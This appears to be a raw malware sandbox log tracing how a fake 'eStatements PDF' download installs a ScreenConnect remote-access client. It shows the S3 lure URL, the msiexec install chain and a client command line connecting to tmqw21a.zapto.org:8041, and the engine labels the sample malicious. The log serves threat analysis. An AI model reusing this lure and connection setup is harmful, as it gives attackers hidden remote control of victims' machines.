                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFC07819_2_04AFC078
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B0B84819_2_04B0B848
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB198819_2_04BB1988
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB418819_2_04BB4188
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B0A1C819_2_04B0A1C8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BBD13819_2_04BBD138
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AF996819_2_04AF9968
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BC715819_2_04BC7158
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BBC29819_2_04BBC298
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AF928819_2_04AF9288
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B4DAC819_2_04B4DAC8
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFBA2819_2_04AFBA28
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B0821819_2_04B08218
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B08A5819_2_04B08A58
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04AFB36819_2_04AFB368
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04B00B5819_2_04B00B58
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_020ED58819_2_020ED588
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_05EA044819_2_05EA0448
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_05EA044819_2_05EA0448
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: 19_2_04BB444819_2_04BB4448
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC13138720_2_00007FFEBC131387
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeCode function: 20_2_00007FFEBC445BBA20_2_00007FFEBC445BBA
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeCode function: String function: 04B10A18 appears 31 times
                                Source: Unconfirmed 905245.crdownload.1.drStatic PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: Unconfirmed 905245.crdownload.1.drStatic PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: Unconfirmed 905245.crdownload.1.drStatic PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: Unconfirmed 905245.crdownload.1.drStatic PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: Unconfirmed 905245.crdownload.1.drStatic PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: chromecache_123.2.drStatic PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: chromecache_123.2.drStatic PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: chromecache_123.2.drStatic PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: chromecache_123.2.drStatic PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: chromecache_123.2.drStatic PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                Source: 79a99374-7c91-4f1c-b843-e190de3d3a98.tmp.1.drStatic PE information: No import functions for PE file found
                                Source: 79a99374-7c91-4f1c-b843-e190de3d3a98.tmp.1.drStatic PE information: Data appended to the last section found
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.f663d8.3.raw.unpack, CursorBuffer.csCryptographic APIs: 'TransformBlock'
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsToolkit.csCryptographic APIs: 'CreateDecryptor'
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsToolkit.csCryptographic APIs: 'CreateDecryptor'
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5800000.2.raw.unpack, CursorBuffer.csCryptographic APIs: 'TransformBlock'
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsExtensions.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsExtensions.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                                Source: 12.2.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.5890000.5.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                                Source: 12.0.Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe.fec3d8.1.raw.unpack, WindowsExtensions.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
                                Source: classification engineClassification label: mal76.evad.win@48/76@24/9
                                Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)Jump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeMutant created: NULL
                                Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6720:120:WilError_03
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeMutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeFile created: C:\Users\user\AppData\Local\Temp\ScreenConnectJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                                Source: C:\Windows\System32\svchost.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITSJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSICD79.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4902390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                Source: ScreenConnect.ClientService.exeString found in binary or memory: $F294ACFC-3146-4483-A7BF-ADDCA7C260E2
                                Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                                Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html"
                                Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
                                Source: unknownProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
                                Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
                                Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4948 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe "C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe"
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi"
                                Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
                                Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 559B26D824275EAF714132D7DDAA523E C
                                Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSICD79.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4902390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 910C4B9204E995E7435A3C716822A8B8
                                Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 299F468216E17D0E813664F4DC42E83A E Global\MSI0000
                                Source: unknownProcess created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=tmqw21a.zapto.org&p=8041&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&i=Amazon"
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe" "RunRole" "95df95ba-a6be-40cc-baf2-03031fdf7d6e" "User"
                                Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8Jump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenableJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4948 --field-trial-handle=1960,i,17103204900219997725,16403034962545697914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8Jump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe "C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe" Jump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
                                Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenableJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeProcess created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\e6cb77284cf765aa\setup.msi"Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 559B26D824275EAF714132D7DDAA523E CJump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 910C4B9204E995E7435A3C716822A8B8Jump to behavior
                                Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 299F468216E17D0E813664F4DC42E83A E Global\MSI0000Jump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSICD79.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4902390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArgumentsJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeProcess created: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe" "RunRole" "95df95ba-a6be-40cc-baf2-03031fdf7d6e" "User"Jump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: moshost.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mapsbtsvc.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mosstorage.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: bcp47langs.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mapconfiguration.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: storsvc.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: fltlib.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: bcd.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cabinet.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: storageusage.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
